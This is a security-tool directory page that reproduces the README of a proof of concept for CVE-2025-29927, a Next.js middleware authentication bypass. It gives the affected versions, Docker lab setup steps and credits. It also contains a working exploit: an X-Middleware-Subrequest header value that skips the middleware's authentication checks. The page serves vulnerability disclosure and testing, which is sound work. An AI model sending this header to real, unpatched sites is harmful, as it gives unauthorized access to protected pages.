Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-29927-PoC — PoC for CVE-2025-29927: Next.js Middleware Bypass Vulnerability. Demonstrates how x-middleware-subrequest can bypass authentication checks. Includes Docker setup for testing. | Kitploit
Tools/GitHubGitHub/alihussainzada/cve-2025-29927-poc
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubalihussainzada/cve-2025-29927-poc

CVE-2025-29927-PoC

PoC for CVE-2025-29927: Next.js Middleware Bypass Vulnerability. Demonstrates how x-middleware-subrequest can bypass authentication checks. Includes Docker setup for testing.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
5131 year agoNot yet reviewed

CVE-2025-29927: Next.js Middleware Bypass Vulnerability PoC

This repository demonstrates the CVE-2025-29927 vulnerability in Next.js, where the internal header x-middleware-subrequest can be used to bypass middleware checks like authentication.

Affected Versions

  • Next.js 15.x < 15.2.3
  • Next.js 14.x < 14.2.25
  • Next.js 13.x < 13.5.9

Steps to Reproduce

1. Clone the Repository:

root@kitploit:~
git clone https://github.com/alihussainzada/CVE-2025-29927-PoC.git

2. Navigate to the Project Folder:

root@kitploit:~
cd CVE-2025-29927-PoC

3. Generate a Secret:

root@kitploit:~
openssl rand -base64 32

4. Update the Secret in the .env File:

root@kitploit:~
NEXTAUTH_SECRET=your_generated_secret

5. Build and Run with Docker:

root@kitploit:~
docker build -t nextjs .
docker run -p 3000:3000 --env-file .env nextjs

Proof of Concept

We can greatly simplify the exploitation of this issue by using a polyglot that lets us effectively cover the various potential cases. We were able to achieve this with the following HTTP header, used to check for the presence of an authentication bypass:

root@kitploit:~
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

Redirect users

Exploitation Example

Credits/Sources

  • Next.js Blog on CVE-2025-29927
  • Zhero Web Security Research: Next.js and the Corrupt Middleware
  • Assetnote Security Research: Analyzing the Next.js Middleware Bypass
Download Tool